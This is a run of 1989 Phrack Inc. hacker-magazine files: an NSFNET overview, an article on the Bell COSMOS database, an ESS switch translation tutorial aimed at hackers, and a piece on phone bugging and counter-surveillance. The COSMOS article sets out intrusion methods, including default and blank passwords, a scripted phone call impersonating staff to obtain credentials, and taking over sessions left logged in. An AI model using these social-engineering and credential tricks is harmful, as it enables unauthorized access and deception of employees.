When the National Science Foundation (NSF) established its national supercomputer centers in 1985, it also planned to create a communications network that would give remote locations access to these state‑of‑the‑art facilities. NSF planners envisioned a system they dubbed "NSFNET." Based on a "backbone" connecting the supercomputer centers, NSFNET would combine existing networks and newly created ones into an InterNet, or network of networks, to serve the centers and their users. In addition to gaining access to the centers' computing technology, researchers at geographically dispersed locations would be part of a nationwide research network across which they could exchange scientific information. Although the primary role of NSFNET remains access to NSF‑funded supercomputers and other unique scientific resources, its use as a general‑purpose network, which enables scientists to share research findings, is becoming increasingly important.

NSFnet Components

%%%%%%%%%%%%%%%%%

NSFNET is organized as a three‑level hierarchy: The backbone; autonomously administered wide‑area networks serving communities of researchers; and campus networks. The backbone has been in use since July 1986 and is fully operational. It provides redundant paths among NSF supercomputer centers. While several wide‑area networks are already connected to the NSFNET backbone, more are being built with partial funding from NSF and will be connected as they are completed (see the section on NSFnet Component Networks).

SuperComputer Centers

%%%%%%%%%%%%%%%%%%%%%

NSF created the supercomputer centers in response to a growing concern that a lack of access to sophisticated computing facilities had severely constrained academic research. A project solicitation in June 1984 resulted in the creation of the following centers ‑‑ the John Von Neumann National Supercomputer Center in Princeton, New Jersey, the San Diego Supercomputer Center on the campus of the University of California at San Diego, the National Center for Supercomputing Applications at the University of Illinois, the Cornell National Supercomputer Facility at Cornell University, and the Pittsburgh Supercomputing Center under joint operation by Westinghouse Electric Corporation, Carnegie‑Mellon University, and the University of Pittsburgh. All the centers are multi‑disciplinary and are available to any researcher who is eligible for NSF support. They offer access to computers made by Cray Research, Inc., Control Data Corporation, ETA, and IBM. The Scientific Computing Division of the National Center for Atmospheric Research is the sixth center which is part of NSFNET. The SCD has been providing advanced computing services to the atmospheric sciences community since the late 1960s.

Protocols

%%%%%%%%%

NSFNET is using the TCP/IP protocols of the DARPA InterNet as the initial standard. The system will work toward adopting international standards as they become established. The protocols link networks that are based on different technologies and connection protocols, and provide a unified set of transport and application protocols. As the NSFNET system continues to evolve, the typical user working at a terminal or work station will be able to connect to and use various computer resources ‑‑ including the supercomputer centers ‑‑ to run interactive and batch jobs, receive output, transfer files, and communicate with colleagues throughout the nation via electronic mail. Most researchers will have either a terminal linked to a local super‑minicomputer or a graphics work station. These will be connected to a local area network that is connected to a campus network, and, via a gateway system, to a wide‑area network.

Management

%%%%%%%%%%

Four institutions are sharing the interim management of NSFNET: The University of Illinois (overall project management and network engineering), Cornell University (network operations and initial technical support), the University of Southern California Information Sciences Institute (protocol enhancement and high‑level technical support), and the University Corporation for Atmospheric Research (management of the NSF Network Service Center through a contract with BBN Laboratories, Inc.).

NSF Network Service Center

%%%%%%%%%%%%%%%%%%%%%%%%%%

The NSF Network Service Center (NNSC) is providing general information about NSFNET, including the status of NSF‑supported component networks and supercomputer centers. The NNSC, located at BBN Laboratories Inc. in Cambridge, MA, is an NSF‑sponsored project of the University Corporation for Atmospheric Research.

The NNSC, which currently has information and documents on line and in printed form, plans to distribute news through network mailing lists, bulletins, newsletters, and on‑line reports. The NNSC also maintains a database of contact points and sources of additional information about the NSFNET component networks and supercomputer centers.

When prospective or current users do not know whom to call concerning their questions about NSFNET use, they should contact the NNSC. The NNSC will answer general questions, and, for detailed information relating to specific components of NSFNET, will help users find the appropriate contact for further assistance.

In addition the NNSC will encourage the development and identification of local campus network technical support to better serve NSFNET users in the future.

Connecting To NSFnet

%%%%%%%%%%%%%%%%%%%%

NSFNET is part of a collection of interconnected IP‑networks referred to as the InterNet. IP, the Internet Protocol, is a network protocol which allows heterogeneous networks to combine into a single virtual network. TCP, the Transmission Control Protocol, is a transport protocol which implements the packet loss and error‑detection mechanisms required to maintain a reliable connection between two points on the network. TCP/IP therefore offers reliable delivery of data between heterogeneous computers on diverse networks. An example of an application which uses TCP/IP is TELNET, which provides virtual terminal service across the network.

Only IP‑based networks can connect to the Internet; therefore, an organization that plans to use NSFnet either must have an existing IP network or have access to one. Many large universities and technical firms have links to the InterNet in place. The computer science department of a university or the engineering support division of a company are most likely to have IP connectivity or to have information on the local connections that exist. Prospective users can ask the NNSC to determine whether an organization is already connected to the Internet.

If an organization does not have an IP link, it can obtain one in several ways:

*NSF has a program that funds the connecting of organizations to the NSF regional/state/community networks that are part of NSFNET. The NNSC has more information on this program.

*The Computer Science Network, CSNET, provides gateway service to several IP‑networks, including NSFNET. To get CSNET service, an organization must become a CSNET member.

*Users may be able to get access to NSFNET through time‑share accounts on machines at other organizations, such as local universities or companies.

Some supercomputer centers support access systems other than NSFNET, such as Bitnet, commercial X.25 networks, and dial‑up lines, which do not use IP‑based protocols. The Supercomputer Centers' user services organizations can provide more information on these alternatives (see list).

NSF COMPONENT NETWORKS

STATE AND REGIONAL NETWORKS

BARRNET (California's Bay Area Regional Research Network) MERIT ( Michigan Educational Research Network)

MIDNET (Midwest Network)

NORTHWESTNET (Northwestern states)

NYSERNET (New York State Educational and Research Network) SESQUINET (the Texas Sesquicentennial Network)

SURANET (the Southeastern Universities Research Association Network) WESTNET (Southwestern states)

CONSORTIUM NETWORKS

JVNCNET connects the John Von Neumann National Supercomputer Center at Princeton, NJ, with a number of universities. PSCAANET is the network of the Pittsburgh Supercomputing Center Academic Affiliates group.

SDSCNET is centered at the San Diego Supercomputer Center.

COSMOS

==Phrack Inc.==

Volume Three, Issue 26, File 5 of 11

COSMOS

COmputer System for Mainframe OperationS

Part One

by King Arthur

Introduction

%%%%%%%%%%%%

Throughout the last decade, computers have played an ever growing role in information storage and retrieval. In most companies, computerized databases have replaced a majority of all paper records. Where in the past it would take 10 minutes for someone to search through stacks of paper for some data, the same information can now be retrieved from a computer in a fraction of a second.

Previously, proprietary information could be considered "safe" in a file cabinet; the only way to see the data would be to have physical access to the files. Now, somebody with a computer terminal and a modem can make a quick phone call and access private records. It's unfortunate that there are "hackers" who try to gain unauthorized access to computers. Yet, it is just as unfortunate that most reported computer break‑ins could have been prevented if more thought and common sense went into protecting computers.

Hackers

%%%%%%%

There have been many cases of computer crime reported by the Bell Operating Companies (BOCs), but it is hard to say how many actual break‑ins there are. Keep in mind that the only reported cases are those which are detected. In an interview with an anonymous hacker, I was told of one of the break‑ins that may not have ever been reported. "My friend got the number when he misdialed his business office ‑‑ that's how we knew that it was the phone company's. It seems this Unix was part of some real big Bellcore computer network," says the hacker.

The hacker explains that this system was one of many systems used by the various BOCs to allow large Centrex customers to rearrange their Centrex groups. It seems he found a text file on the system with telephone numbers and passwords for some of Bellcore's development systems. "On this Bellcore system in Jersey, called CCRS, we found a list of 20 some‑odd COSMOS systems.... Numbers, passwords, and wire centers from all over the country!" He adds, "Five states to be exact."

The hacker was able to gain access to the original Unix system because, as he says, "Those guys left all the default passwords working." He was able to login with a user name of "games" with the password being "games." "Once we were on we found that a large number of accounts didn't have passwords. Mary, John, test, banana, and system were some, to name a few." From there he was able to eventually access several COSMOS database systems ‑‑ with access to ALL system files and resources.

COSMOS

%%%%%%

COSMOS, an acronym for the COmputer System for Mainframe OperationS, is a database package currently supported by Bellcore. COSMOS is presently being used by every BOC, as well as by Cincinnati Bell and Rochester Telephone. COSMOS replaces paper record‑keeping and other mechanized record systems for plant administration. COSMOS' original purpose was to alleviate congestion in the Main Distributing Frame (MDF) by maintaining the shortest jumpers.

It can now maintain load balance in a switch and assign office equipment, tie pairs, bridge lifters and the like. Additional applications allow COSMOS to aid in "cutting‑over" a new switch, or even generate recent change messages to be input into electronic switches. COSMOS is most often used for provisioning new service and maintaining existing service, by the following departments: The frame room (MDF), the Loop Assignment Center (LAC), the Recent Change Memory Assistance Center (RCMAC), the network administration center, and the repair service.

Next year COSMOS will celebrate its 15th birthday, which is quite an accomplishment for a computer program. The first version or "generic" of COSMOS was released by Bell Laboratories in 1974. In March 1974, New Jersey Bell was the first company to run COSMOS, in Passaic, New Jersey. Pacific Telesis, NYNEX, Southern Bell, and many of the other BOCs adopted COSMOS soon after. Whereas Southwestern Bell waited until 1977, the Passaic, NJ Wire Center is still running COSMOS today.

Originally COSMOS ran on the DEC PDP 11/45 minicomputer. The package was written in Fortran, and ran the COSNIX operating system. Later it was adapted to run on the DEC PDP 11/70, a larger machine. Beverly Cruse, member of Technical Staff, COSMOS system design at Bellcore, says, "COSNIX is a derivation of Unix 1.0, it started out from the original Unix, but it was adapted for use on the COSMOS project. It bears many similarities to Unix, but more to the early versions of Unix than the current... The COSMOS application now runs on other hardware understandard Unix."

"The newest version of COSMOS runs on the standard Unix System V operating system. We will certify it for use on particular processors, based on the needs of our clients," says Ed Pinnes, the District Manager of COSMOS system design at Bellcore. This Unix version of COSMOS was written in C language. Currently, COSMOS is available for use on the AT&T 3B20 supermini computer, running under the Unix System V operating system. "There are over 700 COSMOS systems total, of which a vast majority are DEC PDP 11/70's. The number fluctuates all the time, as companies are starting to replace 11/70's with the other machines," says Cruse.

In 1981 Bell Laboratories introduced an integrated systems package for telephone companies called the Facility Assignment Control System (FACS). FACS is a network of systems that exchanges information on a regular basis. These are: COSMOS, Loop Facilities Assignment and Control System (LFACS), Service Order Analysis and Control (SOAC), and Work Manager (WM). A service order from the business office is input in to SOAC. SOAC analyzes the order and then sends an assignment request, via the WM, to LFACS. WM acts as a packet switch, sending messages between the other components of FACS. LFACS assigns distribution plant facilities (cables, terminals, etc.) and sends the order back to SOAC. After SOAC receives the information form LFACS, it sends an assignment request to COSMOS. COSMOS responds with data for assigning central office equipment: Switching equipment, transmission equipment, bridge lifters, and the like. SOAC takes all the information from LFACS and COSMOS and appends it to the service order, and sends the service order on its way.

Computer Security

%%%%%%%%%%%%%%%%%

Telephone companies seem to take the brunt of unauthorized access attempts. The sheer number of employees and size of most telephone companies makes it very difficult to keep tabs on everyone and everything. While researching computer security, it has become evident that COSMOS is a large target for hackers. "The number of COSMOS systems around, with dial‑ups on most of the machines... makes for a lot of possible break‑ins," says Cruse. This is why it's all the more important for companies to learn how to protect themselves.

"COSMOS is power, the whole thing is a big power trip, man. It's like Big Brother ‑‑ you see the number of some dude you don't like in the computer. You make a service order to disconnect it; COSMOS is too stupid to tell you from a real telco dude," says one hacker. "I think they get what they deserve: There's a serious dearth of security out there. If kids like us can get access this easily, think about the real enemy ‑‑ the Russians," jokes another.

A majority of unauthorized access attempts can be traced back to an oversight on the part of the system operators; and just as many are the fault of the systems' users. If you can keep one step ahead of the hackers, recognize these problems now, and keep an eye out for similar weaknesses, you can save your company a lot of trouble.

A hacker says, "In California, a friend of mine used to be able to find passwords in the garbage. The computer was supposed to print some garbled characters on top of the password. Instead the password would print out AFTER the garbled characters." Some COSMOS users have half duplex printing terminals. At the password prompt COSMOS is supposed to print a series of characters and then send backspaces. Then the user would enter his or her password. When the password is printed on top of the other characters, you can't see what it is. If the password is being printed after the other characters, then the printing terminal is not receiving the back space characters properly.

Another big problem is lack of password security. As mentioned before, regarding CCRS, many accounts on some systems will lack passwords. "On COSMOS there are these standardized account names. It makes it easier for system operators to keep track of who's using the system. For instance: all accounts that belong to the frame room will have an MF in them. Like MF01, you can tell it belongs to the frame room. (MF stands for Main Frame.) Most of these names seem to be common to most COSMOS systems everywhere. In one city, none of these user accounts have passwords. All you need is the name of the account and you're in. In another city, which will remain unnamed, the passwords are the SAME AS THE DAMN NAMES! Like, MF01 has a password of MF01. These guys must not be very serious about security."

One of the biggest and in my eyes one of the scariest problems around is what hackers refer to as "social engineering". Social engineering is basically the act of impersonating somebody else for the sake of gaining proprietary information. "I know this guy. He can trick anybody, does the best BS job I've ever seen. He'll call up a telco office, like the repair service bureau, that uses COSMOS. We found that most clerks at the repair service aren't too sharp." The hacker said the conversation would usually take the following course:

Hacker: Hi, this is Frank, from the COSMOS computer center. We've had a problem with our records, and I'm wondering if you could help me?

Telco: Oh, what seems to be the problem?

H: We seem to have lost some user data. Hopefully, if I can correct the problem, you people won't lose any access time today. Could you tell me what your system login name is?

T: Well, the one I use is RS01.

H: Hmm, this could present a problem. Can you tell me what password and wire center you use that with?

T: Well, I just type s‑u‑c‑k‑e‑r for my password, and my wire centers are: TK, KL, GL, and PK.

H: Do you call into the system, or do you only have direct connect terminals?

T: Well, when I turn on my machine I get a direct hook up. It just tells me to login. But I know in the back they have to dial something. Hold on, let me check. (3 Minutes later...) Well, she says all she does is call 555‑1212.

H: OK, I think I have everything taken care of. Thanks, have a nice day.

T: Good, so I'm not gonna have any problems?

H: No, but if you do just give the computer center a call, and we'll take care of it.

T: Oh, thank you honey. Have a nice day now.

"It doesn't work all the time, but we get away with it a good part of the time. I guess they just don't expect a call from someone who isn't really part of their company," says the hacker. "I once social engineered the COSMOS control center. They gave me dial‑ups for several systems, and even gave me one password. I told them I was calling from the RCMAC and I was having trouble logging into COSMOS," says another.

This last problem illustrates a perfect example of what I mean when I say these problems can be prevented if more care and common sense went into computer security. "Sometimes, if we want to get in to COSMOS, but we don't have the password, we call a COSMOS dial‑up at about 5 o'clock. To logoff of COSMOS you have to hit a CONTROL‑Y. If you don't, the next person who calls will resume where you left off. A lot of the time, people forget to logoff. They just turn their terminals off, in the rush of going home."

The past examples do not comprise the only way hackers get into systems, but most of the problems shown here can exist regardless of what types of systems your company has. The second article deals with solutions to these problems.

Basic Concepts of Translation

==Phrack Inc.==

Volume Three, Issue 26, File 6 of 11

+‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑‑=‑=‑=‑

Basic Concepts of Translation

Brought to you by

The Dead Lord

and

The Chief Executive Officers

February 17, 1989

+‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

This tutorial is meant for the hardcore hackers who have entered the world of ESS switches. The information here is useful and valuable, although not invaluable. You can easily reap the benefits of access to a switch even if you only know RC:LINE, but to really learn the system in and out, the concepts about translation are ones that need to be mastered.

In electromechanical switches, switching was directly controlled by whatever the customer dialed. If a 5 were dialed, the selector moved across 5 positions, and so on. There were no digit storing devices like registers and senders. As the network grew larger, this became inefficient and switching systems using digit storage and decoding devices were put into use. In this type of setup, the customer dials a number, which is stored in a register, or sender. The sender then uses a decoder and gives the contents of the register as input. The decoder translates the input into a format that can be used to complete the call, and sends this translation back to the digit storage device. This is a simplified example of translation, since the only input was dialed digits and the only output was routable information, but it shows what translation is: The changing of information from one form to another.

When 1 ESS was first tested in Morris, Illinois in 1960, it introduced a switching method called Stored Program Control. Instead of switching and logic functions being handled by hardware, it was done through computer programs. This greatly expanded the translation function. Because calls are handled by many programs, information must be provided for each program. For example, when a customer picks up a phone, the switch needs to know if outgoing service is being denied, if the line is being observed, line class, special equipment features, etc. The line equipment number is given to the translation program as input. The translator translates the LEN and produces the answers to these and other pertinent questions in a coded form that can be used by the central processor of the switch.

If the call is an interoffice call, the first three dialed digits are given to a translator as input and they translate into a route index and, possibly, other information. The route index, in turn, is given as input to another translator, which translates into: Which trunk to use (trunk identity), transmitter identity, the alternate route, etc. So actually, in early systems, translation was a single shot thing, and in Stored Program Control Systems (SPCS), the translation function is used many many times.

In the 1 ESS, translation data is stored on magnetic memory cards in the program store. However, since translation data is constantly being changed, there is a provision made to store the changes in an area of the call store memory. The area of call store is called the recent change (RC) area. The changes are eventually transcribed from the call store into the program store by a memory card writer.

In the 1A ESS, translation data is stored in the unduplicated call store, with backup in the form of disk memory called file store. Additionally, magnetic tapes are made of the translation area of call store. When a change in translation is made, the change is entered in a duplicated copy of call store. After checks are made as to the validity of the change (format and everything), the change is then placed in the unduplicated copy of call store. After that, the change is also written to a set of disk files in file store. Before the new data is written, the old data is written to a part of the disk file called "rollback."

|‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑

| DATA | 1 ESS | 1A ESS |

|‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑

| Transient | Duplicated | Duplicated | |Information | Call Store | Call Store |

|‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑

| Generic | Duplicated |Program Store| | Program |Program Store| |

|‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑

| Parameter | Duplicated |Unduplicated | | Table |Program Store| Call Store |

|‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑

|Translation | Duplicated |Unduplicated | |Information |Call Store + | Call Store |

| |Program Store| |

|‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑

Transient Information: Telephone calls or data messages in progress; present state of all lines, junctors, and trunks in the office.

Generic Program: The operating intelligence of the system. It controls actions like line and trunk scanning, setting up and taking down connections, etc.

Parameter Table: Informs the generic program of the size and makeup of the office. This information includes equipment items (frames and units), call store allocation (call registers, hoppers, queues, etc.) and office options (days AMA tapes will be switched, etc.).

Translation Information: Day to day changeable info which is accessed by translator programs. Also includes form tables, lists called "translators" which are linked in an hierarchical pattern.

This is a quote from Engineering and Operations in the Bell System, pages 415‑416:

"The 1 ESS includes a fully duplicated No. 1 Central Processor Unit (Central Control includes the generic program), program store bus, call store bus, program stores, and call stores. The 1 ESS uses permanent magnet twister program store modules as basic memory elements. These provide a memory that is fundamentally read only, and have a cycle time of 5.5 microseconds. The call store provides "scratch pad," or temporary duplicated memory.

As with the 1 ESS, the 1A CPU has a CPU, prog store bus, and call store bus that are fully duplicated. However, the 1A processor uses readable and writable memory for both prog and call stores, and has a cycle time of 700 nanoseconds. However, the program stores aren't fully duplicated, but 2 spare stores are provided for reliability. A portion of the call store is duplicated, but only one copy of certain fault recognition programs, parameter information, and translation data is provided. An extra copy of the unduplicated prog and call store is provided for in file store."

The program store translation area in the 1 ESS and the unduplicated call store translation area in the 1A ESS contain all the info that can change from day to day for that office. Here is a list of things that are stored in the translation area:

+ Line Equipment Number (LEN), Directory Number (DN), trunk assignments (all explained later).

+ Office codes.

+ Rate and route information.

+ Traffic measurement information.

+ Associated miscellaneous info for call processing and charging.

Call store can be thought of as RAM; it is filled as long as the ESS is powered.

Program store is like ROM; it is physically written onto magnetic cards. File store is simply information stored on magnetic tapes (or disk drives). All data that's changeable (rate and route, customers' features, trunk selection, alternate paths, etc.) is called translation data and is stored in the translation area.

Changes in translation are called recent changes and are stored in an area called the recent change area.

Once again, I stress that this article is sort of a "masters" file for hackers who are interested in ESS. If the concepts are too difficult, don't panic. Knowledge comes with time. Don't feel bad if you don't catch on right away.

Translation data is stored in the form of tables or lists. Each table is linked in a hierarchical pattern. Tables high in the hierarchy contain pointers (addresses) to the lower tables. Tables low in the hierarchy contain the actual data.

Most translators are broken down into subtranslators, which are linked by a Head Table, or "HT". The HT points to the different ST's stored in memory, in the same way that a table of contents in a book points to the pages of each chapter. This way, when a new feature is added, it's just a matter of adding a new entry in the HT, and having the entry point to a newly stored ST.

Translation input is divided into 2 parts: the selector and the index. The selector determines which ST to access, and the index determines which item (word number) in that particular ST to access. In some cases, the translation information may not fit into the space allotted to an ST, so pointers to auxiliary blocks and/or expansion tables may have to be given. You can think of a BASIC program, where a GOSUB points to a subroutine at location 4000. Now, if the subroutine is 100 bytes long, but you only have room for 75, another GOSUB must be issued to point to the rest of the subroutine. So a full translator is quite a large unit ‑‑ it can have a head table, subtranslators, auxiliary blocks, abbreviated codes, lists, subauxiliary blocks and expansion tables. The example below shows a custom calling feature that exists on 5 ESS: Dog Control Frequency, "DCF". In the e below diagram, DCF represents the Head Table, and has a list of pointers that identify the location of subtranslators "A" through "D". The data field "2" in subtranslator "D" is too small to store the entire subroutine, so an expansion table "2A" was produced to house the entire program.

* D.C.F. * head table

|

|

|‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑|

| | | |

A B C D subtranslators

|

‑‑‑1 data: tables

|or

‑‑‑2 ‑‑‑‑>| lists

| |

‑‑‑3 |

| |

etc % / expansion

2‑Atable

ESS programs access translators by locating their octal address in the Master Head Table, which is also called the Base Translator.

1 ESS MHT

%%%%%%%%%

The 1 ESS has 2 copies of the MHT: One in program store, and one in call store. The copy in call store is the one that's used normally, since call store memory has a faster cycle time. The one in program store is there for backup. The MHT is 338 bytes long (23 bit bytes), and as we mentioned, is used as a sort of directory for locating translators. The MHT can point to starting addresses of Head Tables (which point to translators), or to tables and lists. Head Tables point to subtranslators. Subtranslators can point to auxiliary and expansion blocks, lists, or tables.

There is another Master Head Table called the Auxiliary Master Head Table, which points to other translators. There are 2 copies of the AMHT, one in program and one in call store. The AMHT is found by accessing the MHT, and for those interested, the address of the AMHT is located in the 28th byte of the MHT. The MHT is fixed; meaning that the first byte will ALWAYS be the address of the DN translator. The last byte will ALWAYS be the address to the JNNL to JNNT/JCN Head Table (explained later). ESS needs a table to read this table. Otherwise, how would it know what byte leads where? There is a "T‑reading octal program" located at (octal address) 1105615 in the parameter area in the program store.This address is stored in the generic program and is used to read the Master Head Table.

1A ESS

%%%%%%

A 1A ESS switch call store byte contains 26 bits, named 0 through 25, which is a lot more than I can say about an Apple... Bits 24 and 25 are used for parity, and are not used for data. This leads to what is known as a K‑code. No, a K‑code is not used by lowly software K‑rad pirates, but it is used by us ESS hackers. Each call store K‑code contains 65,536 bytes, and can be thought of as a "page" of memory.

Anyway, translation data is stored in the unduplicated call store. Remember, we're still talking about 1A ESS. In generic 1AE6 and earlier, unduplicated call store starts at K‑code 17, and as more translation data is fed into the system, it pushes down into K‑code 16, 15, 14, etc. In generic 7 and above, call store has been increased by a great deal, because of a huge memory expansion unit. On the early generics, the entire call store and program store had to fit in 38 K‑codes. In the later generics, there are 38 K‑codes assigned to call store (that's split between duplicated and unduplicated), and another 38 K‑codes for program store.

Not all K‑codes may be used, so it's not really a full 38 K‑codes, but hey, you can't have all your memory and use it too. Anyhow, because generics 1A E7 and higher have such huge call store memories, it's convenient to divide call store into 3 parts: The "duplicated call store" (DCS), which is located at the very top of the memory map, the "low unduplicated call store," (LUCS), which is located in the middle of call store, and the "high unduplicated call store," (HUCS). The LUCS area starts at K‑code 17 and goes down as it fills up (being very watchful about not going into the DCS area. The HUCS area starts at K‑code 37 and goes down as it fills up to K‑code 20, being mindful not to step on LUCS's toes. Translators are classified as being either HUCS or LUCS translators, (but not both).

LUCS translators aren't fixed; they can exist anywhere in the area as long as they're identified by the MHT. HUCS translators can either be fixed or not fixed. Note that in generics 1AE6 and earlier, there is no such distinction, because there's not enough memory to make such a distinction feasible. As for the location of the MHT, in generic 1AE6 and earlier, it's located in K‑code 17 at octal address 3724000, and is 1376 bytes long. The later MHT's were moved to K‑code 37 at octal address 7720000, and is 3424 bytes long.

Translator Types

%%%%%%%%%%%%%%%%

As I said, translators take data as input and change it into another form for output. All translators exist in the form of hierarchical lists and tables. They reside in call store on 1A's and program store on 1's. The higher data in a translator points to the location of the lower data. The lower data contains the actual information. The different translators are located by the Master Head Table, which contains pointers to all the translators in the system. The kind of data that needs to be translated is changeable data.

For example:

o line equipment number

o directory number

o 3/6 digit codes

o trunk network number to trunk group number

o trunk network number to peripheral equipment number

Now, there are two types of translators: Multilevel and expansion. The multilevel translators contain a maximum of six levels of information in the form of linked hierarchical tables:

1‑ Head Table

2‑ Subtranslator

3‑ Primary translator word

4‑ Auxiliary block or expansion table

5‑ List

6‑ Subauxiliary block

(1) Head Table: The HT is the "directory" for the translator. It contains addresses or pointers to each subtranslator.

(2) Subtranslator: The ST's are the main subdivisions, so as an office grows larger, or as more features are added, the number of ST's grows larger. For example, there is a translator for every 1,000 directory numbers, so if an office grows from 3,000 to 8,000 lines, an extra 5 subtranslators must be added. Input for translation must contain 2 things: A selector and an index. The selector contains the information as to which subtranslator to use (in the case of DCF, the selector would either be an A, B, C, or D). The index shows which item or word in that particular subtranslator to access. In the DCF example, if the selector were "D", the index could be 1, 2, 3, etc.

(3) Primary Translation Word (PTW): Each index points to a PTW, which is a byte of information. Often, all you need is 1 byte of information (remember that each byte is 23 bits!). If the data isn't stored in the PTW, an address will be there to point to an auxiliary block or expansion table, where the data will be found. The ESS can recognize whether the byte contains data or an address by:

1 ESS) The 3 most significant bits will be 0.

1A ESS) The 4 most significant bits will be 0.

So, if all the 3 (or 4 for 1A) most significant bits contain 0's, the word will be interpreted as an address. (Anyone want to throw the ESS switch into an endless loop????)

(4) Auxiliary Block: The first byte in the AB contains the length of the block. This byte is called the word number (WRDN), and is used by the ESS so it knows where the auxiliary block ends. Remember that when the ESS reads data, all it sees is:

110001011000101010100100101110010010101000101010100100101111

So, in order to stop at the end of the block, the WRDN number must be present.

(5) List: The list is used when additional information other than the standard found in the auxiliary block is needed. The list, like the ST, has an associated index. The address of the list is found in the AB and the index shows which item of data in the list should be looked at. A good example of what kind of information is found in the list would be a speed calling list.

(6) Subauxiliary Block: The list is only large enough to hold a 7 digit phone number, and if more information has to be stored (like a 10 digit phone number or a trunk identity), an address is stored in the list that points to an SB, which acts very much like an AB.

Expansion Translator

%%%%%%%%%%%%%%%%%%%%

The expansion translator has one table (called an expansion table). This type of translator gets only an index as input, since this type of translator is only a bunch of words. It could have auxiliary blocks, if the space allocated to a word is too small.

RECENT CHANGE AREA OF CALL STORE (1 ESS)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

The recent change area consists of:

+ primary recent change area

+ auxiliary recent change area

+ customer originated recent change (CORC)

The starting and ending addresses for these rc areas are stored in the MHT. The primary recent change area is used to store changes affecting primary translation words. Each change is stored in a primary RC register, which consists of two 23 bit bytes. These two bytes contain status bits, primary translation address in the program store, and the primary translation word (PTW) address in call store. The first byte in the register is the "address word" (AW) and the second is the new primary translation word. When looking through the AW, bits 22 and 21 can tell you what kind of recent change is being implemented:

11: temporary (not to be put into PS)

10: permanent (to be put into PS)

01: delayed (not active yet)

00: deleted (this space is available)

The PTW (abbreviations make things SO much easier) contains the translation data or the address of the auxiliary RC (TAG). You can tell whether the data is an RC or an address by looking at bits 22 to 18. If they are 0, then this byte contains an address, which is stored in bits 17 to 0.

Phone Bugging

==Phrack Inc.==

Volume Three, Issue 26, File 7 of 11

<><><><><><><><><><><><

<>

<> PHONE BUGGING <>

<>

<> Telecom's Underground Industry <>

<>

<> By Split Decision <>

<>

<><><><><><><><><><><><

In today's landscape of insider trading, leveraged buyouts and merger mania, it is no great shock that a new underground industry has developed within telecom ‑‑ eavesdropping.

Bugs are cheap (starting at $30) and can be installed in as little as 10 seconds. And you can bet your bottom $1 million that this expense pales in comparison to the rewards of finding out your takeover plans, marketing strategies, and product developments.

According to Fritz Lang of Tactical Research Devices (Brewster, NY), there is a virtual epidemic of bugging going on in the American marketplace. Countersurveillance agencies like TRD have sprung up all over. They search for eavesdropping equipment, then notify the client if they're being tapped. It's up to the client to respond to the intrusion.

Each of TRD's employees is a retired CIA or FBI operative. Formerly, they planted bugs for Uncle Sam. Since it's illegal to plant bugs for anyone else, these men now engage in counter surveillance work, pinpointing eavesdropping devices, and sometimes the culprits who put them there, for TRD's client companies.

Where Do They Put The Bugs?

%%%%%%%%%%%%%%%%%%%%%%%%%%%

Your TELEPHONE, of course, is a convenient place to install an eavesdropping device. But this doesn't mean that the illegal tapping will be limited to your phone conversations.

Electronic phones have microphones which are always "live," even when the telephone is on‑hook. Stick an amplifier and transmitting unit to the microphone, and you have constant surveillance of all conversations taking place in that room, whether or not the phone is off‑hook at the time.

A device rapidly gaining popularity among today's wire‑tappers is a mouthpiece containing a tiny bug, which looks exactly like the one of your 2500 set. All it takes is one trip to the water cooler or the men's room for the insider to surreptitiously make the old switcheroo.

LOUDSPEAKERS are another favorite location for wire‑tappers, because they can pick up conversations when not in use. Paging systems, piped in music, and telephone systems all employ some variety of amplifier which the culprit can use to his advantage.

LINE INTERCEPTORS allow eavesdroppers more extensive coverage of your activities, since they can monitor more than on‑line communications from a single listening post.

But really, the number of places you can find a bug is limited only by the tapper's imagination. Light switches, plugs, clocks, calculators, legs of wooden chairs, staplers, ashtrays, the underside of a toilet bowl ‑‑ all of these items have proved fertile territory for the little critters.

Tools For Finding The Bugs

%%%%%%%%%%%%%%%%%%%%%%%%%%

TRD's people use a patented Surveillance Search Receiver to locate the bugs. The Receiver uses a broad‑band radio spectrum, from 25 kHz to 7 gHz.

If there is an unaccounted‑for radio frequency emission on the premises, the Receiver will tune it in on a small spectrum monitor. It then traces the emission to its inevitable source, the bug.

For room bugs, they also use a Non‑Linear Junction Detector, which can pinpoint all electronic circuit diodes or resistors in the architecture of the building.

The Detector emits a high microwave signal into walls, furniture, et al., causing any circuit hidden within to oscillate. As soon as they oscillate, they become detectable.

Mr. Lang clears up a misconception about the Russians bugging our embassy in Moscow. "They didn't riddle the building with actual bugs, instead, they buried millions of little resistors in the concrete."

The embassy, therefore, became a hot bed for false alarms. Whenever the American counter‑measure people came in with their detectors to look for a bug, they'd pick up oscillation readings from the countless resistors and capacitors buried in the walls. Finding any real bugs would be infinitely more difficult than finding the old needle in a haystack.

For finding wire‑taps along the phone lines, TRD uses a computerized electronic Telephone Analyzer. The unit runs 18 different tests on phone lines between the CPE block and the Central Office (CO). Resistance, voltage, and line balance are just a few of them. Once they locate a tapped line, they send a pulse down it with a time‑domain reflectometer, which can pinpoint exactly where in the line the bug has been affixed.

Bear in mind that wire‑tapping is extremely difficult and time consuming. As much as 20 hours of conversations has to be monitored every single business day. Because of this, key executives' telephones are usually the only ones slated for a wire‑tap.

Catching The Culprit

%%%%%%%%%%%%%%%%%%%%

Finding a wire‑tap is easier than finding the spy who bugged your office. Direct hardwire taps can be traced to the remote location where the snoop stores his voltage‑activated electronic tape recorder. After you've found the monitoring post, it's a matter of hanging around the premises until someone comes to collect the old tapes and put in fresh ones.

As for room bugs, your best bet is to make the device inoperable, without removing it, and wait for the eavesdropping to come back to fix or replace it.

Once Is Never Enough

%%%%%%%%%%%%%%%%%%%%

Some of TRD's clients have their offices checked monthly, some quarterly. After the initial sweep, you can have equipment installed on your phone lines which constantly monitors any funny stuff.

